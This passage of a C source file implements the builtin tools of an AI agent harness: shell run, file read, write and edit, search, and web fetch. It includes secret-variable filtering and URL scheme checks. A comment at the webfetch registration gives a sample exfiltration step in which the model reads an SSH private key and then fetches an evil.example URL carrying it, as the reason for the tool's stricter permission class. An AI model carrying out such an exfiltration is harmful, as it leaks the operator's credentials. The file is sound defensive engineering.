Files
splinter/src/backend/builtin.c
T
lotherk af2001bfee ui, model, cost and idle timeouts
- lcm: the sidebar widget and /status segment show the context, the number of
  compactions, messages and bytes of the last cut, and how many old tool
  outputs were trimmed. The counters are the compactor's own, not an estimate.
- cost: a provider-reported USD cost (usage.cost/cost_usd) is carried through
  sse/openai, the agent and the engine. /cost reports it with the cache share
  and splits judged from plain turns; the notes say that an upstream judge is
  not visible in the provider's usage. The status plugin and junction prefer
  the reported number over list-price arithmetic.
- curses: the running turn's seconds moved from the input line to the status
  bar. Notes and errors are transcript rows below the cause, never text in the
  input line or the status bar; a failed backend request is a status row and is
  retried by the agent. The steer prompt is only "steer> " and what was typed.
- model: /model probe works in the chat. The picker lists the configuration at
  once, then asks the endpoint the session is on what it serves and adds those
  models, so a router's whole menu is selectable. provider/model selectors now
  apply the right provider instead of becoming a model name. The choice is
  written to <session>.model and restored when that session is reopened; /new
  carries the current model into the new session.
- sidebar: plugin titles are bold and underlined (this curses has no italic
  attribute), with a rule between the plugin blocks.
- run/cli: a command timeout is an idle window. Every chunk on stdout or
  stderr resets it, and the process is asked with waitpid(WNOHANG) whether it
  is still there before the window is extended. A long build that keeps
  reporting progress is no longer killed for being long; a silent hang is.
- config: ';' separates settings on one line, so
  plugin lcm { keep = 6; tool_trim = 8192 } parses as two keys.
- tests: lcm widget/status counters, one-line config blocks, session model
  restore and /model probe, cli idle timeout with a talkative and a silent
  command, run output reset, and the UI status/retry rows.

make check: all tests passed.
2026-11-17 23:21:56 +00:00

1239 lines
31 KiB
C

/*
* splinter -- builtin tools.
*
* Copyright (c) 2026 Konrad Lother
* SPDX-License-Identifier: BSD-3-Clause
*
* Two tools, on purpose: one that cannot change anything, one that can. Every
* new tool has to declare which class it belongs to, and the loop enforces it.
* Shell execution goes through popen("/bin/sh -c") and its exit status is
* reported; a command that fails is an observation, not an exception.
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <fcntl.h>
#include <poll.h>
#include <signal.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include "splinter.h"
#include "mcp.h"
/*
* The model sends arguments as a JSON object ("{\"command\":\"ls\"}").
* Handing that string to popen() runs the JSON as a shell command - which is
* exactly the bug this function exists to prevent. It accepts both shapes: a
* JSON object with the named field, or a bare string (the mock transport and a
* hand-written script send the second).
*/
static const char *
arg_text(const char *args, const char *key, struct sp_buf *keep)
{
mcp_json *v;
const char *val = NULL;
if (args == NULL || *args == '\0')
return NULL;
if (args[0] != '{')
return args;
v = mcp_parse(args);
if (v == NULL)
return args;
val = mcp_arg_string(v, key);
if (val != NULL && sp_buf_puts(keep, val) == 0)
val = keep->p;
else
val = NULL;
mcp_json_free(v);
return val;
}
static int
tool_echo(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep;
const char *text;
int rc;
(void)ctx;
if (sp_buf_init(&keep) != 0)
return -1;
text = arg_text(args, "text", &keep);
rc = sp_buf_puts(out, text != NULL ? text : "");
sp_buf_free(&keep);
return rc;
}
/*
* Secrets the shell of the 'run' tool must not see.
*
* splinter holds API keys and tokens in its environment (that is how they reach
* it and how a delegate child gets its own). Everything 'run' starts inherited
* them, so "run env" printed them into the conversation - and from there to
* whichever endpoint gets the next request. The names below are taken out of
* the child's environment; the config adds the key_env names it uses. A name
* ending in '*' is a prefix.
*/
#define SECRET_MAX 32
static char secret_env[SECRET_MAX][96] = {
"SPLINTER_API_KEY", "SPLINTER_TELEGRAM_TOKEN",
"SPLINTER_DELEGATE_KEY_*", "CLAUDE_CODE_OAUTH_TOKEN", "OLLAMA_KEY",
"SPLINTER_OLLAMA_KEY_*", "SPLINTER_MCP_TOKEN"
};
static size_t nsecret_env = 8;
int
sp_secret_env_add(const char *name)
{
size_t i;
if (name == NULL || *name == '\0')
return 0;
for (i = 0; i < nsecret_env; i++)
if (strcmp(secret_env[i], name) == 0)
return 0;
if (nsecret_env == SECRET_MAX || strlen(name) >= sizeof(secret_env[0]))
return -1;
snprintf(secret_env[nsecret_env++], sizeof(secret_env[0]), "%s", name);
return 0;
}
/* "NAME=value" is secret when NAME is on the list */
int
sp_secret_env_is(const char *entry)
{
size_t i, nlen = strcspn(entry, "=");
for (i = 0; i < nsecret_env; i++) {
size_t l = strlen(secret_env[i]);
if (l > 0 && secret_env[i][l - 1] == '*') {
if (nlen >= l - 1 && strncmp(entry, secret_env[i], l - 1) == 0)
return 1;
} else if (l == nlen && strncmp(entry, secret_env[i], l) == 0)
return 1;
}
return 0;
}
extern char **environ;
#define RUN_MAX_OUTPUT (1u << 20)
#define RUN_TIMEOUT_S 600
/*
* Run a shell command for the model.
*
* fork/exec instead of popen(), for three reasons popen cannot give:
* - a timeout: the child gets its own process group, and when it stays
* silent for SPLINTER_RUN_TIMEOUT (default 600 s) the whole group is
* killed - a 'sleep 1000' or an editor waiting for input no longer holds
* the agent. Every chunk the command prints moves the deadline: a build
* that reports progress is working, not hung;
* - stdin is /dev/null: a command that reads input used to read the curses
* terminal, stealing the operator's keystrokes;
* - the environment is filtered: see secret_env above.
* stdout and stderr share one pipe, so the model sees the error it caused.
*/
static int
tool_run(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep;
const char *cmd, *tmo_s;
char chunk[4096];
char **envp;
size_t total = 0, n, i, j;
int fds[2], status = 0, timeout_s, timed_out = 0, cut = 0;
int reaped = 0;
pid_t child;
time_t end;
(void)ctx;
if (sp_buf_init(&keep) != 0)
return -1;
cmd = arg_text(args, "command", &keep);
if (cmd == NULL || *cmd == '\0') {
sp_buf_free(&keep);
return sp_buf_puts(out, "error: empty command");
}
tmo_s = getenv("SPLINTER_RUN_TIMEOUT");
timeout_s = tmo_s != NULL && *tmo_s != '\0' ? atoi(tmo_s) : RUN_TIMEOUT_S;
if (timeout_s <= 0)
timeout_s = RUN_TIMEOUT_S;
for (n = 0; environ != NULL && environ[n] != NULL; n++)
;
envp = calloc(n + 1, sizeof(*envp));
if (envp == NULL) {
sp_buf_free(&keep);
return -1;
}
for (i = 0, j = 0; i < n; i++)
if (!sp_secret_env_is(environ[i]))
envp[j++] = environ[i];
envp[j] = NULL;
if (pipe(fds) != 0) {
free(envp);
sp_buf_free(&keep);
return sp_buf_printf(out, "error: pipe: %s", strerror(errno));
}
child = fork();
if (child < 0) {
close(fds[0]);
close(fds[1]);
free(envp);
sp_buf_free(&keep);
return sp_buf_printf(out, "error: fork: %s", strerror(errno));
}
if (child == 0) {
int dn = open("/dev/null", O_RDONLY);
(void)setpgid(0, 0);
if (dn >= 0) {
(void)dup2(dn, STDIN_FILENO);
if (dn != STDIN_FILENO)
close(dn);
}
(void)dup2(fds[1], STDOUT_FILENO);
(void)dup2(fds[1], STDERR_FILENO);
close(fds[0]);
close(fds[1]);
execle("/bin/sh", "sh", "-c", cmd, (char *)NULL, envp);
_exit(127);
}
(void)setpgid(child, child); /* both sides: no race with the exec */
close(fds[1]);
free(envp);
end = time(NULL) + timeout_s;
for (;;) {
struct pollfd pfd;
ssize_t got;
long left = (long)(end - time(NULL));
int pr;
if (left <= 0) {
timed_out = 1;
break;
}
pfd.fd = fds[0];
pfd.events = POLLIN;
pr = poll(&pfd, 1, (int)(left > 1000 ? 1000000 : left * 1000));
if (pr < 0) {
if (errno == EINTR)
continue;
break;
}
if (pr == 0)
continue;
got = read(fds[0], chunk, sizeof(chunk));
if (got < 0 && errno == EINTR)
continue;
if (got <= 0)
break;
if (total + (size_t)got > RUN_MAX_OUTPUT) {
cut = 1;
break;
}
if (sp_buf_add(out, chunk, (size_t)got) != 0)
break;
total += (size_t)got;
/*
* The command said something, so it is working: give it
* another full window. Ask the process, not the pipe - a
* closed child can still have bytes buffered here.
*/
if (!reaped) {
pid_t r;
do {
r = waitpid(child, &status, WNOHANG);
} while (r < 0 && errno == EINTR);
if (r == child)
reaped = 1;
}
if (!reaped)
end = time(NULL) + timeout_s;
}
if (timed_out || cut)
(void)kill(-child, SIGKILL);
close(fds[0]);
if (!reaped)
while (waitpid(child, &status, 0) < 0 && errno == EINTR)
;
sp_buf_free(&keep);
if (cut)
sp_buf_puts(out, "\n[output truncated at 1 MiB]");
if (timed_out)
return sp_buf_printf(out,
"\n[timed out: no output for %d s, killed]", timeout_s);
if (WIFEXITED(status))
return sp_buf_printf(out, "\n[exit status %d]",
WEXITSTATUS(status));
return sp_buf_printf(out, "\n[killed by signal %d]", WTERMSIG(status));
}
/*
* File tools.
*
* The harness had echo, run and clock - a chat with a shell, not a coding
* agent. These five are the minimum for real work: look at a file, change one,
* find something, list a directory, create something.
*
* Nothing here is allowed to be clever. Writes are mutate, edits refuse an
* ambiguous match, reads are capped and say when they cut, and a binary file is
* reported instead of sprayed into the conversation.
*/
#define TOOL_MAX_READ 65536
#define TOOL_MAX_LINES 2000
#define TOOL_MAX_FILE (4 * 1024 * 1024)
#define TOOL_MAX_HITS 100
static int count_lines(const char *s, size_t upto);
static char *slurp(const char *path, size_t *lenp, struct sp_buf *err);
static int
arg_int(const char *args, const char *key, int dflt)
{
mcp_json *v;
int n;
if (args == NULL || args[0] != '{')
return dflt;
v = mcp_parse(args);
if (v == NULL)
return dflt;
n = mcp_arg_int(v, key, dflt);
mcp_json_free(v);
return n;
}
/*
* A diff the operator can read.
*
* One hunk, with the common prefix and suffix as context. A general diff
* algorithm would be more correct and is not worth it here: a tool changes one
* place, and the point is to see which place. The text goes into the observation,
* so the model sees what it did too - not just the harness.
*/
#define DIFF_CONTEXT 3
#define DIFF_MAX_LINES 200
struct lines {
char **v;
size_t n;
};
static int
split_lines(const char *text, struct lines *out)
{
char *copy, *p;
size_t cap = 16;
out->v = malloc(cap * sizeof(*out->v));
out->n = 0;
if (out->v == NULL)
return -1;
if (text == NULL || *text == '\0')
return 0;
copy = strdup(text);
if (copy == NULL) {
free(out->v);
return -1;
}
for (p = copy; *p != '\0'; ) {
char *nl = strchr(p, '\n');
if (out->n == cap) {
char **bigger = realloc(out->v, cap * 2 * sizeof(*bigger));
if (bigger == NULL) {
free(copy);
free(out->v);
return -1;
}
out->v = bigger;
cap *= 2;
}
out->v[out->n++] = strdup(p);
if (out->v[out->n - 1] == NULL) {
free(copy);
return -1;
}
if (nl == NULL)
break;
*strchr(out->v[out->n - 1], '\n') = '\0';
p = nl + 1;
}
free(copy);
return 0;
}
static void
free_lines(struct lines *l)
{
size_t i;
for (i = 0; i < l->n; i++)
free(l->v[i]);
free(l->v);
l->v = NULL;
l->n = 0;
}
static void
emit_diff(struct sp_buf *out, const char *path, const char *old,
const char *new)
{
struct lines a = { NULL, 0 }, b = { NULL, 0 };
size_t pre = 0, suf = 0, i;
long start_a, start_b;
if (split_lines(old, &a) != 0 || split_lines(new, &b) != 0)
goto done;
if (a.n == b.n) {
int same = 1;
for (i = 0; i < a.n; i++)
if (strcmp(a.v[i], b.v[i]) != 0)
same = 0;
if (same)
goto done; /* nothing changed: no diff, no noise */
}
while (pre < a.n && pre < b.n && strcmp(a.v[pre], b.v[pre]) == 0)
pre++;
while (suf < a.n - pre && suf < b.n - pre &&
strcmp(a.v[a.n - 1 - suf], b.v[b.n - 1 - suf]) == 0)
suf++;
start_a = (long)pre - DIFF_CONTEXT;
start_b = (long)pre - DIFF_CONTEXT;
if (start_a < 0) {
start_a = 0;
start_b = 0;
}
sp_buf_printf(out, "--- a/%s\n+++ b/%s\n", path, path);
sp_buf_printf(out, "@@ -%ld,%zu +%ld,%zu @@\n",
start_a + 1, a.n - (size_t)start_a - suf,
start_b + 1, b.n - (size_t)start_b - suf);
for (i = (size_t)start_a; i < pre && i < a.n; i++)
sp_buf_printf(out, " %s\n", a.v[i]);
{
size_t mid_a_end = a.n - suf;
size_t n = 0;
for (i = pre; i < mid_a_end && n < DIFF_MAX_LINES; i++, n++)
sp_buf_printf(out, "-%s\n", a.v[i]);
for (i = pre; i < b.n - suf && n < DIFF_MAX_LINES; i++, n++)
sp_buf_printf(out, "+%s\n", b.v[i]);
if (n >= DIFF_MAX_LINES)
sp_buf_puts(out, "[diff truncated]\n");
}
for (i = a.n - suf; i < a.n && i < a.n - suf + DIFF_CONTEXT; i++)
sp_buf_printf(out, " %s\n", a.v[i]);
done:
free_lines(&a);
free_lines(&b);
}
static int
looks_binary(const unsigned char *b, size_t n)
{
size_t i;
for (i = 0; i < n; i++)
if (b[i] == 0)
return 1;
return 0;
}
static int
tool_read(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep;
const char *path;
char line[2048];
FILE *f;
int offset, limit, no = 0, printed = 0;
size_t total = 0;
(void)ctx;
if (sp_buf_init(&keep) != 0)
return -1;
path = arg_text(args, "path", &keep);
if (path == NULL) {
sp_buf_free(&keep);
return sp_buf_puts(out, "error: 'path' is required");
}
offset = arg_int(args, "offset", 1);
limit = arg_int(args, "limit", 200);
if (offset < 1)
offset = 1;
if (limit < 1 || limit > TOOL_MAX_LINES)
limit = TOOL_MAX_LINES;
f = fopen(path, "r");
if (f == NULL) {
sp_buf_printf(out, "error: %s: %s", path, strerror(errno));
sp_buf_free(&keep);
return 0;
}
{
unsigned char probe[512];
size_t n = fread(probe, 1, sizeof(probe), f);
if (looks_binary(probe, n)) {
sp_buf_printf(out, "error: %s is binary (%zu bytes read)", path, n);
fclose(f);
sp_buf_free(&keep);
return 0;
}
rewind(f);
}
while (fgets(line, sizeof(line), f) != NULL) {
no++;
if (no < offset)
continue;
if (printed >= limit || total + strlen(line) > TOOL_MAX_READ) {
sp_buf_printf(out, "[%s: stopped at line %d]\n", path, no);
break;
}
sp_buf_printf(out, "%6d\t%s", no, line);
total += strlen(line);
printed++;
}
fclose(f);
if (printed == 0 && no < offset)
sp_buf_printf(out, "[%s: no lines at offset %d (file has %d)]\n",
path, offset, no);
sp_buf_free(&keep);
return 0;
}
static int
tool_write(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep, content;
const char *path, *text;
FILE *f;
size_t n;
(void)ctx;
if (sp_buf_init(&keep) != 0 || sp_buf_init(&content) != 0)
return -1;
path = arg_text(args, "path", &keep);
text = arg_text(args, "content", &content);
if (path == NULL || text == NULL) {
sp_buf_free(&keep);
sp_buf_free(&content);
return sp_buf_puts(out, "error: 'path' and 'content' are required");
}
n = strlen(text);
if (n > TOOL_MAX_FILE) {
sp_buf_printf(out, "error: refusing to write %zu bytes (limit %d)",
n, TOOL_MAX_FILE);
sp_buf_free(&keep);
sp_buf_free(&content);
return 0;
}
{
/* the previous content, only to show what changed */
size_t oldlen = 0;
char *old = NULL;
FILE *prev = fopen(path, "r");
if (prev != NULL) {
old = slurp(path, &oldlen, out);
fclose(prev);
}
f = fopen(path, "w");
if (f == NULL) {
sp_buf_printf(out, "error: %s: %s", path, strerror(errno));
free(old);
sp_buf_free(&keep);
sp_buf_free(&content);
return 0;
}
if (n > 0 && fwrite(text, 1, n, f) != n) {
sp_buf_printf(out, "error: short write: %s", strerror(errno));
fclose(f);
free(old);
sp_buf_free(&keep);
sp_buf_free(&content);
return 0;
}
fclose(f);
sp_buf_printf(out, "wrote %zu bytes to %s\n", n, path);
emit_diff(out, path, old != NULL ? old : "", text);
free(old);
sp_buf_free(&keep);
sp_buf_free(&content);
return 0;
}
if (n > 0 && fwrite(text, 1, n, f) != n) {
sp_buf_printf(out, "error: short write: %s", strerror(errno));
fclose(f);
sp_buf_free(&keep);
sp_buf_free(&content);
return 0;
}
fclose(f);
sp_buf_printf(out, "wrote %zu bytes to %s", n, path);
sp_buf_free(&keep);
sp_buf_free(&content);
return 0;
}
/* Read a whole file into memory; NULL when it is too large or binary. */
static char *
slurp(const char *path, size_t *lenp, struct sp_buf *err)
{
FILE *f;
struct sp_buf buf;
char chunk[4096];
size_t got;
f = fopen(path, "r");
if (f == NULL) {
sp_buf_printf(err, "error: %s: %s", path, strerror(errno));
return NULL;
}
if (sp_buf_init(&buf) != 0) {
fclose(f);
return NULL;
}
while ((got = fread(chunk, 1, sizeof(chunk), f)) > 0) {
if (buf.len + got > TOOL_MAX_FILE) {
sp_buf_printf(err, "error: %s is larger than %d bytes",
path, TOOL_MAX_FILE);
sp_buf_free(&buf);
fclose(f);
return NULL;
}
if (sp_buf_add(&buf, chunk, got) != 0) {
sp_buf_free(&buf);
fclose(f);
return NULL;
}
}
fclose(f);
if (buf.p == NULL) {
sp_buf_free(&buf);
sp_buf_printf(err, "error: %s is empty", path);
return NULL;
}
*lenp = buf.len;
return buf.p; /* caller owns p */
}
static int
count_occurrences(const char *hay, const char *needle)
{
int n = 0;
size_t nl = strlen(needle);
const char *p = hay;
if (nl == 0)
return -1;
while ((p = strstr(p, needle)) != NULL) {
n++;
p += nl;
}
return n;
}
static int
tool_edit(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep, bufs[2];
const char *path, *old, *new;
char *text, *hit, *result;
size_t len, oldlen, newlen, prefix;
int count;
FILE *f;
(void)ctx;
if (sp_buf_init(&keep) != 0 || sp_buf_init(&bufs[0]) != 0 ||
sp_buf_init(&bufs[1]) != 0)
return -1;
path = arg_text(args, "path", &keep);
old = arg_text(args, "old", &bufs[0]);
new = arg_text(args, "new", &bufs[1]);
if (path == NULL || old == NULL || new == NULL) {
sp_buf_free(&keep);
sp_buf_free(&bufs[0]);
sp_buf_free(&bufs[1]);
return sp_buf_puts(out, "error: 'path', 'old' and 'new' are required");
}
oldlen = strlen(old);
newlen = strlen(new);
if (oldlen == 0) {
sp_buf_free(&keep);
sp_buf_free(&bufs[0]);
sp_buf_free(&bufs[1]);
return sp_buf_puts(out, "error: 'old' is empty");
}
text = slurp(path, &len, out);
if (text == NULL) {
sp_buf_free(&keep);
sp_buf_free(&bufs[0]);
sp_buf_free(&bufs[1]);
return 0;
}
count = count_occurrences(text, old);
if (count != 1) {
/* an ambiguous edit is a wrong edit waiting to happen */
sp_buf_printf(out, "error: 'old' occurs %d times in %s; "
"make it unique", count, path);
free(text);
sp_buf_free(&keep);
sp_buf_free(&bufs[0]);
sp_buf_free(&bufs[1]);
return 0;
}
hit = strstr(text, old);
prefix = (size_t)(hit - text);
result = malloc(len - oldlen + newlen + 1);
if (result == NULL) {
sp_buf_puts(out, "error: out of memory");
free(text);
sp_buf_free(&keep);
sp_buf_free(&bufs[0]);
sp_buf_free(&bufs[1]);
return 0;
}
memcpy(result, text, prefix);
memcpy(result + prefix, new, newlen);
memcpy(result + prefix + newlen, text + prefix + oldlen,
len - prefix - oldlen);
result[len - oldlen + newlen] = '\0';
f = fopen(path, "w");
if (f == NULL) {
sp_buf_printf(out, "error: %s: %s", path, strerror(errno));
} else {
size_t outlen = len - oldlen + newlen;
if (fwrite(result, 1, outlen, f) != outlen)
sp_buf_printf(out, "error: short write: %s",
strerror(errno));
else {
sp_buf_printf(out, "edited %s (line %d)\n", path,
1 + count_lines(text, prefix));
emit_diff(out, path, text, result);
}
fclose(f);
}
free(result);
free(text);
sp_buf_free(&keep);
sp_buf_free(&bufs[0]);
sp_buf_free(&bufs[1]);
return 0;
}
static int
count_lines(const char *s, size_t upto)
{
size_t i;
int n = 0;
for (i = 0; i < upto; i++)
if (s[i] == '\n')
n++;
return n;
}
static int
skip_name(const char *name)
{
return strcmp(name, ".git") == 0 || strcmp(name, ".") == 0 ||
strcmp(name, "..") == 0 || strcmp(name, "node_modules") == 0;
}
static void
search_dir(const char *dir, const char *pattern, struct sp_buf *out, int *hits,
int depth)
{
DIR *d;
struct dirent *e;
char path[1024], line[2048];
struct stat st;
if (depth > 12 || *hits >= TOOL_MAX_HITS)
return;
d = opendir(dir);
if (d == NULL)
return;
while ((e = readdir(d)) != NULL && *hits < TOOL_MAX_HITS) {
FILE *f;
if (skip_name(e->d_name))
continue;
snprintf(path, sizeof(path), "%s/%s", dir, e->d_name);
if (stat(path, &st) != 0)
continue;
if (S_ISDIR(st.st_mode)) {
search_dir(path, pattern, out, hits, depth + 1);
continue;
}
if (!S_ISREG(st.st_mode) || st.st_size > TOOL_MAX_FILE)
continue;
f = fopen(path, "r");
if (f == NULL)
continue;
while (fgets(line, sizeof(line), f) != NULL) {
if (strstr(line, pattern) == NULL)
continue;
sp_buf_printf(out, "%s: %s", path, line);
if (out->len > 0 && out->p[out->len - 1] != '\n')
sp_buf_puts(out, "\n");
(*hits)++;
if (*hits >= TOOL_MAX_HITS) {
sp_buf_puts(out, "[stopped at the hit limit]\n");
break;
}
}
fclose(f);
}
closedir(d);
}
static int
tool_search(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep, pbuf;
const char *pattern, *root;
int hits = 0;
(void)ctx;
if (sp_buf_init(&keep) != 0 || sp_buf_init(&pbuf) != 0)
return -1;
pattern = arg_text(args, "pattern", &keep);
root = arg_text(args, "path", &pbuf);
if (pattern == NULL || *pattern == '\0') {
sp_buf_free(&keep);
sp_buf_free(&pbuf);
return sp_buf_puts(out, "error: 'pattern' is required");
}
search_dir(root != NULL ? root : ".", pattern, out, &hits, 0);
if (hits == 0)
sp_buf_puts(out, "(no match)");
sp_buf_free(&keep);
sp_buf_free(&pbuf);
return 0;
}
static int
tool_list(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep;
const char *path;
DIR *d;
struct dirent *e;
int n = 0;
(void)ctx;
if (sp_buf_init(&keep) != 0)
return -1;
path = arg_text(args, "path", &keep);
if (path == NULL)
path = ".";
d = opendir(path);
if (d == NULL) {
sp_buf_printf(out, "error: %s: %s", path, strerror(errno));
sp_buf_free(&keep);
return 0;
}
while ((e = readdir(d)) != NULL && n < 300) {
char full[1024];
struct stat st;
if (strcmp(e->d_name, ".") == 0 || strcmp(e->d_name, "..") == 0)
continue;
snprintf(full, sizeof(full), "%s/%s", path, e->d_name);
if (stat(full, &st) == 0 && S_ISDIR(st.st_mode))
sp_buf_printf(out, "%s/\n", e->d_name);
else
sp_buf_printf(out, "%s\n", e->d_name);
n++;
}
closedir(d);
if (n == 0)
sp_buf_puts(out, "(empty)");
sp_buf_free(&keep);
return 0;
}
/*
* Web access through curl, because curl is what every machine already has and a
* second HTTP stack in the harness would only be a second set of bugs.
*
* Search backend: a SearXNG instance or anything that answers JSON:
*
* SPLINTER_SEARCH_URL=http://search.hiddenbox.org
*
* Without it DuckDuckGo's lite page is used - no key, no account, and its HTML is
* simple enough to strip honestly. Whatever comes back loses its tags and is
* capped; an answer that silently drops half a page is worse than a short one.
*/
static void
url_encode(const char *in, char *out, size_t len)
{
static const char hex[] = "0123456789ABCDEF";
size_t o = 0;
for (; *in != '\0' && o + 4 < len; in++) {
unsigned char c = (unsigned char)*in;
if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ||
(c >= '0' && c <= '9') || c == '-' || c == '_' || c == '.' ||
c == '~') {
out[o++] = (char)c;
} else if (c == ' ') {
out[o++] = '+';
} else {
out[o++] = '%';
out[o++] = hex[c >> 4];
out[o++] = hex[c & 0x0f];
}
}
out[o] = '\0';
}
#define WEB_MAX_RAW (2 * 1024 * 1024) /* what curl may hand us */
#define WEB_MAX_TEXT 20000 /* what the model gets */
/*
* Only http and https. Anything else - file://, gopher://, dict:// - turns a
* "fetch a page" tool into "read this machine", and curl knows all of them.
*/
static int
web_url_ok(const char *url)
{
return strncmp(url, "http://", 7) == 0 ||
strncmp(url, "https://", 8) == 0;
}
/*
* HTML to text, the same rules the old sed pipeline had: a tag becomes a space,
* &nbsp; becomes a space, runs of blanks collapse, blank lines go. Written in C
* because the pipeline needed a shell, and a shell is where the URL used to be
* pasted between quotes.
*/
static void
html_to_text(const char *in, size_t n, struct sp_buf *out)
{
size_t i, start = out->len, line_start = out->len;
int in_tag = 0, blank = 0, line_has_text = 0;
for (i = 0; i < n && out->len - start < WEB_MAX_TEXT; i++) {
char c = in[i];
if (in_tag) {
if (c == '>')
in_tag = 0;
continue;
}
if (c == '<') {
in_tag = 1;
c = ' ';
} else if (c == '&' && n - i >= 6 &&
strncmp(in + i, "&nbsp;", 6) == 0) {
i += 5;
c = ' ';
} else if (c == '\t' || c == '\r')
c = ' ';
if (c == '\0')
continue;
if (c == '\n') {
if (!line_has_text) {
/* a line of blanks only: drop it */
out->len = line_start;
out->p[out->len] = '\0';
} else
(void)sp_buf_add(out, "\n", 1);
line_start = out->len;
line_has_text = 0;
blank = 0;
continue;
}
if (c == ' ') {
if (blank)
continue;
blank = 1;
} else {
blank = 0;
line_has_text = 1;
}
(void)sp_buf_add(out, &c, 1);
}
if (!line_has_text) {
out->len = line_start;
if (out->p != NULL)
out->p[out->len] = '\0';
}
}
/*
* Fetch a URL with curl(1), started directly with an argument vector. The URL
* is one argv entry: there is no shell that could read a quote in it, and
* --url keeps a URL that starts with '-' from being taken for an option.
* stdin and stderr go to /dev/null, so a curses screen stays a curses screen.
*/
static int
curl_text(const char *url, struct sp_buf *out)
{
int fds[2], devnull, status;
pid_t child;
struct sp_buf raw;
char chunk[4096];
ssize_t got;
int cut = 0;
if (!web_url_ok(url))
return sp_buf_puts(out, "error: only http:// and https:// URLs "
"can be fetched");
if (sp_buf_init(&raw) != 0)
return -1;
if (pipe(fds) != 0) {
sp_buf_free(&raw);
return sp_buf_printf(out, "error: pipe: %s", strerror(errno));
}
child = fork();
if (child < 0) {
close(fds[0]);
close(fds[1]);
sp_buf_free(&raw);
return sp_buf_printf(out, "error: fork: %s", strerror(errno));
}
if (child == 0) {
char *argv[] = {
"curl", "-sL", "--max-time", "25", "-A", "splinter/0.1",
"--proto", "=http,https", "--proto-redir", "=http,https",
"--url", (char *)url, NULL
};
devnull = open("/dev/null", O_RDWR);
if (devnull >= 0) {
(void)dup2(devnull, STDIN_FILENO);
(void)dup2(devnull, STDERR_FILENO);
if (devnull > STDERR_FILENO)
close(devnull);
}
(void)dup2(fds[1], STDOUT_FILENO);
close(fds[0]);
close(fds[1]);
execvp("curl", argv);
_exit(127);
}
close(fds[1]);
while ((got = read(fds[0], chunk, sizeof(chunk))) != 0) {
if (got < 0) {
if (errno == EINTR)
continue;
break;
}
if (raw.len + (size_t)got > WEB_MAX_RAW) {
cut = 1;
break;
}
if (sp_buf_add(&raw, chunk, (size_t)got) != 0)
break;
}
close(fds[0]); /* a child still writing gets SIGPIPE */
while (waitpid(child, &status, 0) < 0 && errno == EINTR)
;
html_to_text(raw.p, raw.len, out);
if (raw.len == 0)
sp_buf_puts(out, "(no answer - check the connection or "
"SPLINTER_SEARCH_URL)");
else if (cut)
sp_buf_puts(out, "\n[page larger than 2 MiB, cut]");
sp_buf_free(&raw);
return 0;
}
static int
tool_websearch(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep = { 0 }, url = { 0 };
const char *q, *base;
char enc[1024];
int rc;
(void)ctx;
if (sp_buf_init(&keep) != 0 || sp_buf_init(&url) != 0)
return -1;
q = arg_text(args, "query", &keep);
if (q == NULL || *q == '\0') {
sp_buf_free(&keep);
sp_buf_free(&url);
return sp_buf_puts(out, "error: empty query");
}
url_encode(q, enc, sizeof(enc));
base = getenv("SPLINTER_SEARCH_URL");
if (base != NULL && *base != '\0')
(void)sp_buf_printf(&url, "%s/search?q=%s&format=json", base, enc);
else
(void)sp_buf_printf(&url,
"https://lite.duckduckgo.com/lite/?q=%s", enc);
rc = curl_text(url.p, out);
sp_buf_free(&keep);
sp_buf_free(&url);
return rc;
}
static int
tool_webfetch(const char *args, struct sp_buf *out, void *ctx)
{
struct sp_buf keep = { 0 };
const char *u;
int rc;
(void)ctx;
if (sp_buf_init(&keep) != 0)
return -1;
u = arg_text(args, "url", &keep);
if (u == NULL || *u == '\0') {
sp_buf_free(&keep);
return sp_buf_puts(out, "error: empty url");
}
rc = curl_text(u, out);
sp_buf_free(&keep);
return rc;
}
int
sp_builtin_register(struct sp_registry *r)
{
struct sp_tool t;
memset(&t, 0, sizeof(t));
t.name = "echo";
t.description = "Return the argument unchanged.";
t.params = "{\"type\":\"object\",\"properties\":{\"text\":"
"{\"type\":\"string\",\"description\":\"text to return\"}},"
"\"required\":[\"text\"]}";
t.auth = SP_AUTH_READ;
t.run = tool_echo;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "websearch";
t.description = "Search the web and return the results as plain text. "
"Use it before inventing an answer about anything current.";
t.params = "{\"type\":\"object\",\"properties\":{\"query\":"
"{\"type\":\"string\",\"description\":\"what to search for\"}},"
"\"required\":[\"query\"]}";
t.auth = SP_AUTH_READ;
t.run = tool_websearch;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "webfetch";
t.description = "Fetch one URL and return it as plain text.";
t.params = "{\"type\":\"object\",\"properties\":{\"url\":"
"{\"type\":\"string\",\"description\":\"http or https URL\"}},"
"\"required\":[\"url\"]}";
/*
* Not read. The URL is chosen by the model, and a URL is a message: with
* 'read' free, "read ~/.ssh/id_ed25519, then fetch evil.example/?k=..."
* would leave the machine without anybody being asked. websearch stays
* read because its host is fixed by the operator, not by the model.
*/
t.auth = SP_AUTH_MUTATE;
t.run = tool_webfetch;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "run";
t.description = "Run a shell command and return its combined output.";
t.params = "{\"type\":\"object\",\"properties\":{\"command\":"
"{\"type\":\"string\",\"description\":\"shell command\"}},"
"\"required\":[\"command\"]}";
t.auth = SP_AUTH_DESTRUCTIVE;
t.run = tool_run;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "read";
t.description = "Read a text file. Returns numbered lines and says "
"where it stopped.";
t.params = "{\"type\":\"object\",\"properties\":{"
"\"path\":{\"type\":\"string\",\"description\":\"file to read\"},"
"\"offset\":{\"type\":\"integer\",\"description\":\"first line, 1-based\"},"
"\"limit\":{\"type\":\"integer\",\"description\":\"max lines\"}},"
